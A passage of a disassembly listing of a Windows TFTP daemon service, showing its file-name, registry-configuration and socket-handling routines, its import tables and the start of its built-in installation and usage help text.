loc_1003406: ; CODE XREF: sub_100333A+B8j
xor eax, eax
jmp short loc_100340F
; ---------------------------------------------------------------------------
loc_100340A: ; CODE XREF: sub_100333A+B4j
; sub_100333A+C2j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_100340F: ; CODE XREF: sub_100333A+CEj
test eax, eax
jnz short loc_100341F
mov dword ptr [ebx+10030h], 4000h
jmp short loc_100345D
; ---------------------------------------------------------------------------
loc_100341F: ; CODE XREF: sub_100333A+D7j
mov edi, offset aOctet ; "octet"
loc_1003424: ; CODE XREF: sub_100333A+106j
mov cl, [esi]
mov al, cl
cmp cl, [edi]
jnz short loc_1003446
test al, al
jz short loc_1003442
mov cl, [esi+1]
mov al, cl
cmp cl, [edi+1]
jnz short loc_1003446
inc esi
inc esi
inc edi
inc edi
test al, al
jnz short loc_1003424
loc_1003442: ; CODE XREF: sub_100333A+F4j
xor eax, eax
jmp short loc_100344B
; ---------------------------------------------------------------------------
loc_1003446: ; CODE XREF: sub_100333A+F0j
; sub_100333A+FEj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_100344B: ; CODE XREF: sub_100333A+10Aj
test eax, eax
jnz loc_10036F8
mov dword ptr [ebx+10030h], 8000h
loc_100345D: ; CODE XREF: sub_100333A+E3j
mov eax, [ebp+arg_0]
mov edi, [ebp+var_4]
or ecx, 0FFFFFFFFh
lea edx, [eax+1FFADh]
xor eax, eax
repne scasb
not ecx
sub edi, ecx
push edx
mov eax, ecx
mov esi, edi
mov edi, edx
mov [ebp+var_8], edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call sub_100261E
test eax, eax
jnz short loc_100349A
push offset aMalformedFileN ; "Malformed file name"
jmp short loc_10034DF
; ---------------------------------------------------------------------------
loc_100349A: ; CODE XREF: sub_100333A+157j
push [ebp+var_18]
push offset dword_1005D20
call sub_10039D6
test eax, eax
jz loc_10036EC
push [ebp+var_4]
push offset dword_1005D90
call sub_10039D6
test eax, eax
jz loc_10036EC
push (offset dword_1005E07+1)
push 0FFBCh
push [ebp+var_8]
call sub_100273D
test eax, eax
jnz short loc_10034E6
push offset aFileNameTooLon ; "File name too long"
loc_10034DF: ; CODE XREF: sub_100333A+15Ej
push 0
jmp loc_10036FC
; ---------------------------------------------------------------------------
loc_10034E6: ; CODE XREF: sub_100333A+19Ej
push 180h
push 8302h
push [ebp+var_8]
call ds:dword_10010E4
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebx+1002Ch], eax
jnz short loc_100351E
mov esi, ds:dword_10010AC
call esi ; dword_10010AC
call esi ; dword_10010AC
push dword ptr [eax]
call ds:dword_100102C
jmp loc_10036F2
; ---------------------------------------------------------------------------
loc_100351E: ; CODE XREF: sub_100333A+1CBj
xor esi, esi
push esi
push 2
push 2
call ds:dword_100112C
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jnz short loc_1003546
call ds:dword_10010F8
push offset aInsufficientRe ; "Insufficient resources"
push esi
jmp loc_10036FC
; ---------------------------------------------------------------------------
loc_1003546: ; CODE XREF: sub_100333A+1F9j
mov [ebp+var_26], si
mov esi, [ebp+arg_0]
push 10h
mov [ebp+var_28], 2
mov eax, [esi+1Ch]
mov [ebp+var_24], eax
lea eax, [ebp+var_28]
push eax
push edi
call ds:dword_1001124
test eax, eax
jz short loc_100358A
call ds:dword_10010F8
push offset aInsufficientRe ; "Insufficient resources"
push 0
push dword ptr [esi+8]
lea eax, [esi+0FFF1h]
add esi, 0Ch
push eax
push esi
jmp loc_100370D
; ---------------------------------------------------------------------------
loc_100358A: ; CODE XREF: sub_100333A+22Ej
lea eax, [ebx+10028h]
mov [esi+8], edi
push eax
lea eax, [ebx+38h]
push eax
lea eax, [ebx+10024h]
push eax
mov eax, [ebp+var_C]
inc eax
push 2
push eax
push esi
call sub_10023D8
test eax, eax
jnz loc_1003712
push ebx
call ds:dword_1001044
mov [ebx+20h], edi
add esi, 0Ch
lea edi, [ebx+28h]
mov [ebp+var_18], esi
movsd
movsd
movsd
movsd
xor esi, esi
push esi
push esi
push esi
push esi
call ds:dword_1001040
cmp eax, esi
mov [ebx+0FFF8h], eax
jz short loc_10035F8
push 2
pop edi
push edi
push eax
push [ebp+var_4]
call sub_100188E
cmp eax, esi
mov [ebx+0FFFCh], eax
jnz short loc_1003603
loc_10035F8: ; CODE XREF: sub_100333A+2A5j
call ds:dword_1001038
jmp loc_1003712
; ---------------------------------------------------------------------------
loc_1003603: ; CODE XREF: sub_100333A+2BCj
add ebx, 18h
push ebx
call sub_100287F
push [ebp+var_4]
mov [ebp+var_14], 1
call sub_10028B5
mov ebx, eax
cmp ebx, esi
jz loc_1003712
xor esi, esi
mov [ebp+var_10], 1
cmp [ebx+10028h], esi
jz short loc_100364A
mov eax, [ebp+arg_0]
mov eax, [eax+28h]
imul eax, 3E8h
mov [ebx+10000h], eax
jmp short loc_1003654
; ---------------------------------------------------------------------------
loc_100364A: ; CODE XREF: sub_100333A+2FAj
mov dword ptr [ebx+10000h], 3E8h
loc_1003654: ; CODE XREF: sub_100333A+30Ej
mov eax, [ebx+10000h]
push esi
push eax
push eax
push dword ptr [ebx+20h]
lea eax, [ebx+10004h]
push offset sub_1002A3D
push eax
push dword_10060A0
call ds:dword_1001178
mov eax, [ebp+arg_0]
mov ecx, [ebx+10024h]
mov [ebx+24h], edi
cmp ecx, esi
mov eax, [eax+20h]
mov [ebx+10018h], eax
lea eax, [ebx+10024h]
jz short loc_10036A1
mov [ebx+10020h], ecx
mov [eax], esi
jmp short loc_10036C5
; ---------------------------------------------------------------------------
loc_10036A1: ; CODE XREF: sub_100333A+35Bj
mov esi, ds:dword_1001104
push 4
pop edi
push edi
call esi ; dword_1001104
mov [ebx+38h], ax
mov ax, [ebx+10014h]
push eax
call esi ; dword_1001104
mov [ebx+3Ah], ax
mov [ebx+10020h], edi
loc_10036C5: ; CODE XREF: sub_100333A+365j
push 10h
lea eax, [ebx+38h]
push [ebp+var_18]
push 0
push dword ptr [ebx+10020h]
push eax
push [ebp+var_4]
call ds:dword_1001130
cmp eax, 0FFFFFFFFh
jnz short loc_1003712
call ds:dword_10010F8
jmp short loc_1003712
; ---------------------------------------------------------------------------
loc_10036EC: ; CODE XREF: sub_100333A+16Fj
; sub_100333A+184j
call ds:dword_10010AC
loc_10036F2: ; CODE XREF: sub_100333A+1DFj
push 0
push 2
jmp short loc_10036FC
; ---------------------------------------------------------------------------
loc_10036F8: ; CODE XREF: sub_100333A+113j
push 0
push 4
loc_10036FC: ; CODE XREF: sub_100333A+1A7j
; sub_100333A+207j ...
mov eax, [ebp+arg_0]
push dword ptr [eax+8]
lea ecx, [eax+0FFF1h]
add eax, 0Ch
push ecx
push eax
loc_100370D: ; CODE XREF: sub_100333A+24Bj
call sub_100230A
loc_1003712: ; CODE XREF: sub_100333A+48j
; sub_100333A+274j ...
test ebx, ebx
jz short loc_1003731
cmp [ebp+var_10], 0
jz short loc_1003723
push ebx
call ds:dword_100104C
loc_1003723: ; CODE XREF: sub_100333A+3E0j
cmp [ebp+var_14], 0
jnz short loc_1003731
push ebx
call ds:dword_10010A0
pop ecx
loc_1003731: ; CODE XREF: sub_100333A+21j
; sub_100333A+3DAj ...
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_100333A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100373A proc near ; CODE XREF: sub_1002CE6+D7p
var_1FF70 = byte ptr -1FF70h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, 1FF70h
call sub_1003A3E
cmp [ebp+arg_C], 8000h
push esi
push edi
jnz short loc_100375A
push [ebp+arg_8]
push [ebp+arg_4]
jmp short loc_1003792
; ---------------------------------------------------------------------------
loc_100375A: ; CODE XREF: sub_100373A+16j
mov edx, [ebp+arg_4]
xor ecx, ecx
xor esi, esi
cmp [ebp+arg_8], ecx
jle short loc_1003790
mov edi, [ebp+arg_10]
loc_1003769: ; CODE XREF: sub_100373A+54j
cmp byte ptr [edi], 0Dh
jnz short loc_1003779
cmp byte ptr [ecx+edx], 0
jnz short loc_1003779
and byte ptr [edi], 0
jmp short loc_100378A
; ---------------------------------------------------------------------------
loc_1003779: ; CODE XREF: sub_100373A+32j
; sub_100373A+38j
mov al, [ecx+edx]
mov [ebp+esi+var_1FF70], al
inc esi
cmp al, 0Dh
jnz short loc_100378A
mov [edi], al
loc_100378A: ; CODE XREF: sub_100373A+3Dj
; sub_100373A+4Cj
inc ecx
cmp ecx, [ebp+arg_8]
jl short loc_1003769
loc_1003790: ; CODE XREF: sub_100373A+2Aj
push esi
push edx
loc_1003792: ; CODE XREF: sub_100373A+1Ej
push [ebp+arg_0]
call ds:dword_10010E8
mov edi, eax
add esp, 0Ch
cmp edi, 0FFFFFFFFh
jnz short loc_10037B7
mov esi, ds:dword_10010AC
call esi ; dword_10010AC
call esi ; dword_10010AC
push dword ptr [eax]
call ds:dword_100102C
loc_10037B7: ; CODE XREF: sub_100373A+69j
mov eax, edi
pop edi
pop esi
leave
retn 14h
sub_100373A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10037BF proc near ; CODE XREF: sub_1001665:loc_10017F3p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
lea eax, [ebp+var_10]
push ebx
xor ebx, ebx
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "System\\CurrentControlSet\\Services\\tftpd"...
push 80000002h
mov [ebp+var_4], ebx
call ds:dword_1001000
cmp eax, ebx
jz short loc_10037F6
call ds:dword_1001038
xor eax, eax
jmp loc_100390D
; ---------------------------------------------------------------------------
loc_10037F6: ; CODE XREF: sub_10037BF+28j
cmp byte ptr dword_1005E07+1, bl
push edi
push esi
mov esi, ds:dword_1001008
jnz short loc_100383C
lea eax, [ebp+var_8]
mov [ebp+var_8], 1F4h
push eax
lea eax, [ebp+var_C]
push (offset dword_1005E07+1)
push eax
push ebx
push offset aDirectory ; "directory"
push [ebp+var_10]
call esi ; dword_1001008
cmp eax, ebx
jz short loc_1003831
call ds:dword_1001038
jmp short loc_100383C
; ---------------------------------------------------------------------------
loc_1003831: ; CODE XREF: sub_10037BF+68j
push 1
pop eax
cmp [ebp+var_C], eax
jnz short loc_100383C
mov [ebp+var_4], eax
loc_100383C: ; CODE XREF: sub_10037BF+45j
; sub_10037BF+70j ...
push 32h
lea eax, [ebp+var_8]
pop edi
push eax
lea eax, [ebp+var_C]
push offset dword_1005CE8
push eax
push ebx
push offset aClients ; "clients"
push [ebp+var_10]
mov [ebp+var_8], edi
call esi ; dword_1001008
cmp eax, ebx
jz short loc_1003866
call ds:dword_1001038
jmp short loc_100386F
; ---------------------------------------------------------------------------
loc_1003866: ; CODE XREF: sub_10037BF+9Dj
cmp [ebp+var_C], 1
jnz short loc_100386F
inc [ebp+var_4]
loc_100386F: ; CODE XREF: sub_10037BF+A5j
; sub_10037BF+ABj
lea eax, [ebp+var_8]
mov [ebp+var_8], edi
push eax
lea eax, [ebp+var_C]
push offset dword_1005D20
push eax
push ebx
push offset aMasters ; "masters"
push [ebp+var_10]
call esi ; dword_1001008
cmp eax, ebx
jz short loc_1003896
call ds:dword_1001038
jmp short loc_100389F
; ---------------------------------------------------------------------------
loc_1003896: ; CODE XREF: sub_10037BF+CDj
cmp [ebp+var_C], 1
jnz short loc_100389F
inc [ebp+var_4]
loc_100389F: ; CODE XREF: sub_10037BF+D5j
; sub_10037BF+DBj
lea eax, [ebp+var_8]
mov [ebp+var_8], edi
push eax
lea eax, [ebp+var_C]
push offset dword_1005D58
push eax
push ebx
push offset aReadable ; "readable"
push [ebp+var_10]
call esi ; dword_1001008
cmp eax, ebx
jz short loc_10038C6
call ds:dword_1001038
jmp short loc_10038CF
; ---------------------------------------------------------------------------
loc_10038C6: ; CODE XREF: sub_10037BF+FDj
cmp [ebp+var_C], 1
jnz short loc_10038CF
inc [ebp+var_4]
loc_10038CF: ; CODE XREF: sub_10037BF+105j
; sub_10037BF+10Bj
lea eax, [ebp+var_8]
mov [ebp+var_8], edi
push eax
lea eax, [ebp+var_C]
push offset dword_1005D90
push eax
push ebx
push offset aWritable ; "writable"
push [ebp+var_10]
call esi ; dword_1001008
cmp eax, ebx
jz short loc_10038F6
call ds:dword_1001038
jmp short loc_10038FF
; ---------------------------------------------------------------------------
loc_10038F6: ; CODE XREF: sub_10037BF+12Dj
cmp [ebp+var_C], 1
jnz short loc_10038FF
inc [ebp+var_4]
loc_10038FF: ; CODE XREF: sub_10037BF+135j
; sub_10037BF+13Bj
push [ebp+var_10]
call ds:dword_100100C
mov eax, [ebp+var_4]
pop esi
pop edi
loc_100390D: ; CODE XREF: sub_10037BF+32j
pop ebx
leave
retn
sub_10037BF endp
; =============== S U B R O U T I N E =======================================
sub_1003910 proc near ; CODE XREF: sub_1001665+193p
var_1F4 = byte ptr -1F4h
sub esp, 1F4h
cmp byte ptr dword_1005E07+1, 0
push ebx
push ebp
push esi
push edi
mov ebp, 1F4h
mov ebx, (offset dword_1005E07+1)
jnz short loc_100393D
push ebp
push offset aTftpdroot ; "\\tftpdroot\\"
push ebx
call ds:dword_1001148
add esp, 0Ch
loc_100393D: ; CODE XREF: sub_1003910+1Bj
lea eax, [esp+204h+var_1F4]
push ebp
push eax
push ebx
call ds:dword_1001020
test eax, eax
jnz short loc_1003952
push 57h
jmp short loc_10039CA
; ---------------------------------------------------------------------------
loc_1003952: ; CODE XREF: sub_1003910+3Cj
mov ecx, eax
lea esi, [esp+204h+var_1F4]
mov edi, ebx
or edx, 0FFFFFFFFh
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov edi, ebx
mov ecx, edx
repne scasb
not ecx
dec ecx
cmp byte ptr dword_1005E07[ecx], 2Fh
lea eax, dword_1005E07[ecx]
jnz short loc_1003986
mov byte ptr [eax], 5Ch
loc_1003986: ; CODE XREF: sub_1003910+71j
cmp byte ptr [eax], 5Ch
jz short loc_10039B7
cmp ecx, ebp
jnb short loc_10039B7
mov edi, offset asc_100155C ; "\\"
mov ecx, edx
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
mov ecx, edx
repne scasb
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd
mov ecx, ebp
and ecx, 3
rep movsb
loc_10039B7: ; CODE XREF: sub_1003910+79j
; sub_1003910+7Dj
mov edi, ebx
mov ecx, edx
xor eax, eax
push 1
repne scasb
not ecx
dec ecx
mov dword_1005FFC, ecx
loc_10039CA: ; CODE XREF: sub_1003910+40j
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 1F4h
retn
sub_1003910 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10039D6 proc near ; CODE XREF: sub_1002F31+148p
; sub_1002F31+159p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push edi
mov al, [esi]
test al, al
jz short loc_1003A2E
cmp al, 2Ah
jz short loc_1003A04
cmp al, 3Fh
jz short loc_10039F7
mov ecx, [ebp+arg_4]
cmp al, [ecx]
jnz short loc_1003A25
inc ecx
push ecx
jmp short loc_1003A01
; ---------------------------------------------------------------------------
loc_10039F7: ; CODE XREF: sub_10039D6+14j
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jz short loc_1003A25
inc eax
push eax
loc_1003A01: ; CODE XREF: sub_10039D6+1Fj
inc esi
jmp short loc_1003A1B
; ---------------------------------------------------------------------------
loc_1003A04: ; CODE XREF: sub_10039D6+10j
mov edi, [ebp+arg_4]
lea eax, [esi+1]
push edi
push eax
call sub_10039D6
test eax, eax
jnz short loc_1003A29
cmp [edi], al
jz short loc_1003A25
inc edi
push edi
loc_1003A1B: ; CODE XREF: sub_10039D6+2Cj
push esi
call sub_10039D6
test eax, eax
jnz short loc_1003A29
loc_1003A25: ; CODE XREF: sub_10039D6+1Bj
; sub_10039D6+27j ...
xor eax, eax
jmp short loc_1003A38
; ---------------------------------------------------------------------------
loc_1003A29: ; CODE XREF: sub_10039D6+3Dj
; sub_10039D6+4Dj
push 1
pop eax
jmp short loc_1003A38
; ---------------------------------------------------------------------------
loc_1003A2E: ; CODE XREF: sub_10039D6+Cj
mov ecx, [ebp+arg_4]
xor eax, eax
cmp [ecx], al
setz al
loc_1003A38: ; CODE XREF: sub_10039D6+51j
; sub_10039D6+56j
pop edi
pop esi
pop ebp
retn 8
sub_10039D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_1003A3E proc near ; CODE XREF: sub_1001A91+5p
; sub_100230A+8p ...
jmp ds:dword_100116C
sub_1003A3E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_1003A44 proc near ; CODE XREF: sub_10018DB+FEp
; sub_1002219+DAp
jmp ds:dword_1001138
sub_1003A44 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_1003A4A proc near ; CODE XREF: sub_1001FA6+1Fp
; sub_1001FA6+43p
jmp ds:dword_100113C
sub_1003A4A endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_1001560
push offset loc_1003BF0
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE0h
push ebx
push esi
push edi
mov [ebp-18h], esp
mov dword ptr [ebp-4], 0
push 1
call ds:dword_10010C4
add esp, 4
mov dword_10062D0, 0FFFFFFFFh
mov dword_10062D4, 0FFFFFFFFh
call ds:dword_10010C8
mov ecx, dword_100600C
mov [eax], ecx
call ds:dword_10010CC
mov edx, dword_1006008
mov [eax], edx
mov eax, ds:dword_10010D0
mov ecx, [eax]
mov dword_10062D8, ecx
call nullsub_2
mov eax, dword_1005DC4
test eax, eax
jnz short loc_1003AE1
push offset loc_1003BD0
call ds:dword_1001084
add esp, 4
loc_1003AE1: ; CODE XREF: .text:01003AD1j
call sub_1003BB0
push offset dword_100500C
push offset dword_1005008
call sub_1003BA6
add esp, 8
mov edx, dword_1006004
mov [ebp-28h], edx
lea eax, [ebp-28h]
push eax
mov ecx, dword_1006000
push ecx
lea edx, [ebp-20h]
push edx
lea eax, [ebp-2Ch]
push eax
lea ecx, [ebp-1Ch]
push ecx
call ds:dword_1001080
add esp, 14h
push offset dword_1005004
push offset dword_1005000
call sub_1003BA6
add esp, 8
call ds:dword_10010D8
mov edx, [ebp-20h]
mov [eax], edx
mov eax, [ebp-20h]
push eax
mov ecx, [ebp-2Ch]
push ecx
mov edx, [ebp-1Ch]
push edx
call sub_1001570
add esp, 0Ch
mov [ebp-24h], eax
push eax
call ds:dword_10010EC
jmp short loc_1003B80
; ---------------------------------------------------------------------------
mov eax, [ebp-14h]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp-30h], ecx
push eax
push ecx
call sub_1003BA0
add esp, 8
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
mov edx, [ebp-30h]
push edx
call ds:dword_10010DC+4
loc_1003B80: ; CODE XREF: .text:01003B5Cj
add esp, 4
mov dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_1003BA0 proc near ; CODE XREF: .text:01003B6Ap
jmp ds:dword_10010DC
sub_1003BA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_1003BA6 proc near ; CODE XREF: .text:01003AF0p
; .text:01003B2Bp
jmp ds:dword_100107C
sub_1003BA6 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_1003BB0 proc near ; CODE XREF: .text:loc_1003AE1p
push 30000h
push 10000h
call sub_1003BF6
add esp, 8
retn
sub_1003BB0 endp
; ---------------------------------------------------------------------------
align 10h
loc_1003BD0: ; DATA XREF: .text:01003AD3o
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 10h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
align 10h
loc_1003BF0: ; DATA XREF: .text:01003A5Ao
jmp ds:dword_10010C0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_1003BF6 proc near ; CODE XREF: sub_1003BB0+Ap
jmp ds:dword_10010BC
sub_1003BF6 endp
; ---------------------------------------------------------------------------
dd 3D7Ch, 2 dup(0FFFFFFFFh), 3E60h, 10F4h, 3CA4h, 2 dup(0FFFFFFFFh)
dd 4012h, 101Ch, 3C88h, 2 dup(0FFFFFFFFh), 40A2h, 1000h
dd 3DCCh, 2 dup(0FFFFFFFFh), 4172h, 1144h, 3DC0h, 2 dup(0FFFFFFFFh)
dd 41A2h, 1138h, 3D04h, 2 dup(0FFFFFFFFh), 42F6h, 107Ch
dd 5 dup(0)
dd 4092h, 4020h, 407Eh, 4070h, 4052h, 403Eh, 0
dd 3E6Ch, 3FF6h, 3FE6h, 3FCEh, 3FBEh, 3FB2h, 3FA2h, 3E7Ah
dd 3E8Ah, 3EA0h, 3EB0h, 3ECCh, 3EDAh, 3EF2h, 3EFEh, 3F0Ch
dd 3F24h, 3F3Ch, 3F56h, 3F62h, 3F70h, 3F78h, 3F92h, 0
dd 4282h, 4272h, 428Eh, 4230h, 4226h, 421Eh, 4214h, 420Ah
dd 4200h, 41F8h, 41F0h, 41E6h, 41DCh, 41D2h, 41CAh, 41C2h
dd 4302h, 42E2h, 42D0h, 42C2h, 42B2h, 42A2h, 41B8h, 4262h
dd 4254h, 424Ch, 423Ah, 4242h, 41B0h, 0
dd 3E52h, 8000006Fh, 80000073h, 3E08h, 80000009h, 3E1Ah
dd 8000000Fh, 3E34h, 8000000Ah, 3E42h, 80000003h, 8000000Ch
dd 80000002h, 80000037h, 80000017h, 80000014h, 0
dd 417Ch, 4190h, 0
dd 4126h, 4168h, 415Eh, 4154h, 4142h, 4130h, 411Ah, 4112h
dd 410Ah, 40F4h, 40EAh, 40D4h, 40B0h, 40C2h, 0
dd 53570019h, 65764541h, 6553746Eh, 7463656Ch, 1B0000h
aWsagetoverlapp db 'WSAGetOverlappedResult',0
align 4
a2 db '2',0
aWsarecvfrom db 'WSARecvFrom',0
dw 0Fh
aWsacloseevent db 'WSACloseEvent',0
db '=',0
aWsasocketa db 'WSASocketA',0
align 10h
aWs2_32_dll db 'WS2_32.dll',0
align 4
aM db 'Œ',0
aExitprocess db 'ExitProcess',0
dw 12Dh
aGetlasterror db 'GetLastError',0
align 2
dw 2FDh
aWaitforsingleo db 'WaitForSingleObject',0
a4 db '4',0
aCreateeventa db 'CreateEventA',0
align 10h
db 0C5h ; Å
db 1, 49h, 6Eh
aItializecritic db 'itializeCriticalSection',0
dd 654801B6h, 72437061h, 65746165h, 1DE0000h
aLeavecriticals db 'LeaveCriticalSection',0
align 2
dw 1BAh
aHeapfree db 'HeapFree',0
align 2
dw 1Eh
aClosehandle db 'CloseHandle',0
aO db 'o',0
aEntercriticals db 'EnterCriticalSection',0
align 4
retf
; ---------------------------------------------------------------------------
db 1, 49h, 6Eh
aTerlockedincre db 'terlockedIncrement',0
align 4
db 0FBh ; û
db 2, 57h, 61h
aItformultipleo db 'itForMultipleObjects',0
align 2
dw 1B4h
aHeapalloc db 'HeapAlloc',0
dw 252h
aResetevent db 'ResetEvent',0
align 10h
retn
; ---------------------------------------------------------------------------
db 2, 53h, 6Ch
db 65h ; e
db 65h, 70h, 0
db 0D8h ; Ø
db 2, 54h, 72h
aYentercritical db 'yEnterCriticalSection',0
dw 2C5h
aSuspendthread db 'SuspendThread',0
dw 254h
aResumethread db 'ResumeThread',0
db 0, 90h, 2
aSetevent db 'SetEvent',0
align 2
dw 29Ch
aSetlasterror db 'SetLastError',0
align 2
aZ db 'Z',0
aDeletecritical db 'DeleteCriticalSection',0
dw 12Fh
aGetlocaltime db 'GetLocalTime',0
align 2
aP db '',0
aExpandenvironm db 'ExpandEnvironmentStringsA',0
aKernel32_dll db 'KERNEL32.dll',0
align 10h
db 0E5h ; å
db 1, 53h, 74h
aArtservicectrl db 'artServiceCtrlDispatcherA',0
dw 1DFh
aSetservicestat db 'SetServiceStatus',0
align 2
dw 1B9h
aRegisterservic db 'RegisterServiceCtrlHandlerA',0
db 84h ; „
db 1, 52h, 65h
aGclosekey db 'gCloseKey',0
dw 1A7h
aRegqueryvaluee db 'RegQueryValueExA',0
align 2
dw 19Dh
aRegopenkeyexa db 'RegOpenKeyExA',0
aAdvapi32_dll db 'ADVAPI32.dll',0
align 10h
db 50h ; P
db 2, 52h, 74h
aLregisterwait db 'lRegisterWait',0
dw 184h
aRtlcreatetimer db 'RtlCreateTimer',0
align 4
db 85h ; …
db 1, 52h, 74h
aLcreatetimerqu db 'lCreateTimerQueue',0
dw 42Eh
a_chkstk db '_chkstk',0
db 0A1h ; ¡
db 1, 52h, 74h
aLderegisterwai db 'lDeregisterWaitEx',0
dw 433h
a_itoa db '_itoa',0
dw 450h
aAtoi db 'atoi',0
align 2
dw 43Dh
a_stricmp db '_stricmp',0
align 2
dw 46Dh
aMemmove db 'memmove',0
dd 7452019Dh, 6C65446Ch, 54657465h, 72656D69h, 2990000h
dd 556C7452h, 74616470h, 6D695465h, 7265h, 6F740486h, 65776F6Ch
dd 45F0072h, 70757369h, 726570h, 7473047Dh, 70636E72h
dd 746E0079h, 2E6C6C64h, 6C6C64h, 6F4E004Fh, 79666974h
dd 72646441h, 6E616843h, 6567h, 65470022h, 41704974h, 54726464h
dd 656C6261h, 70690000h, 61706C68h, 642E6970h, 6C6Ch, 78650246h
dd 7469h, 7270029Bh, 66746E69h, 2430000h, 6D697463h, 2540065h
dd 65706F66h, 17F006Eh, 646B6D5Fh, 7269h, 655F00C5h, 6F6E7272h
dd 0AA0000h, 6468635Fh, 7269h, 697402CDh, 656Dh, 7266025Bh
dd 6565h, 63660249h, 65736F6Ch, 2A40000h, 6C616572h, 636F6Ch
dd 616D028Eh, 636F6C6Ch, 1950000h, 6165725Fh, 0B00064h
dd 6F6C635Fh, 6573h, 6C5F0141h, 6B656573h, 1840000h, 65706F5Fh
dd 214006Eh, 6972775Fh, 6574h, 655F00D0h, 746978h, 585F0048h
dd 46747063h, 65746C69h, 630072h, 5F705F5Fh, 6E695F5Fh
dd 6E657469h, 580076h, 65675F5Fh, 69616D74h, 6772616Eh
dd 10C0073h, 696E695Fh, 72657474h, 82006Dh, 65735F5Fh
dd 65737574h, 74616D72h, 72726568h, 9B0000h, 6A64615Fh
dd 5F747375h, 76696466h, 690000h, 5F705F5Fh, 6D6F635Fh
dd 65646F6Dh, 6E0000h, 5F705F5Fh, 6F6D665Fh, 6564h, 5F5F0080h
dd 5F746573h, 5F707061h, 65707974h, 0C70000h, 6378655Fh
dd 5F747065h, 646E6168h, 3372656Ch, 534D0000h, 54524356h
dd 6C6C642Eh, 0B40000h, 6E6F635Fh, 6C6F7274h, 7066h
dd 3Ch dup(?)
_text ends
; Section 2. (virtual address 00005000)
; Virtual size : 000012DC ( 4828.)
; Section size in file : 000012DC ( 4828.)
; Offset to raw data for section: 00005000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 1005000h
dword_1005000 dd 0 dword_1005004 dd 0 dword_1005008 dd 0 dword_100500C dd 0 asc_1005010 db ' ================================================================'
; DATA XREF: sub_1001570+4Do
db '======== ',0Ah
db 'Abstract: '
db ' ',0Ah
db ' This implements an RFC 783 tftp daemon. '
db ' ',0Ah
db ' It listens on port 69 for requests '
db ' ',0Ah
db ' and spawns a thread to process each request. '
db ' ',0Ah
db ' '
db ' ',0Ah
db 'TFTPD USAGE and Installation: '
db ' ',0Ah
db ' '
db ' ',0Ah
db ' md d:/tftpd (the StartDirec'
db 'tory). ',0Ah
db ' copy //MohsinA_p90/test/tftpd.exe . '
db ' ',0Ah
db ' sc create tftpd binPath= d:/tftpd/tftpd.exe (give full path'
db '). ',0Ah
db ' sc query tftpd (check if insta'
db 'lled). ',0Ah
db ' '
db ' ',0Ah
db 'Start: '
db ' ',0Ah
db ' sc start tftpd -f (creates a log '
db 'file). ',0Ah
db 'or sc start tftpd '
db ' ',0Ah
db 'or net start tftpd '
db ' ',0Ah
db 'or sc start tftpd [-dStartDirectory] [-e] [-f] '
db ' ',0Ah
db ' Options: -e use event log. '
db ' ',0Ah
db ' -f log to file. '
db ' ',0Ah
db ' -dStartDirectory '
db ' ',0Ah
db 'Info: '
db ' ',0Ah
db ' sc interrogate tftpd (logs will be updated). '
db ' ',0Ah
db ' sc query tftpd Check whether running. '
db ' ',0Ah
db 'Stop: '
db ' ',0Ah
db ' sc stop tftpd '
db ' ',0Ah
db ' net stop tftpd '
db ' ',0Ah
db ' '
db ' ',0Ah
db 'Variables that control what files can be read/written and by whom'
db ': ',0Ah
db ' StartDirectory - only files there will be accessible. '
db ' ',0Ah
db ' LogFile is created here. '
db ' ',0Ah
db ' ValidClients - Clients matching this ip address can read files'
db '. ',0Ah
db ' eg. you can set it to "157.55.8?.*" '
db ' ',0Ah
db ' ValidMasters - clients matching this can write and read file'
db 's. ',0Ah
db ' eg. you can set it to "" and no one can write'
db '. ',0Ah
db ' ValidReadFiles - only matching files will be served out, eg. "'
db 'r*.t?t"',0Ah
db ' ValidWriteFiles- only matching files will be accepted, eg. "w'
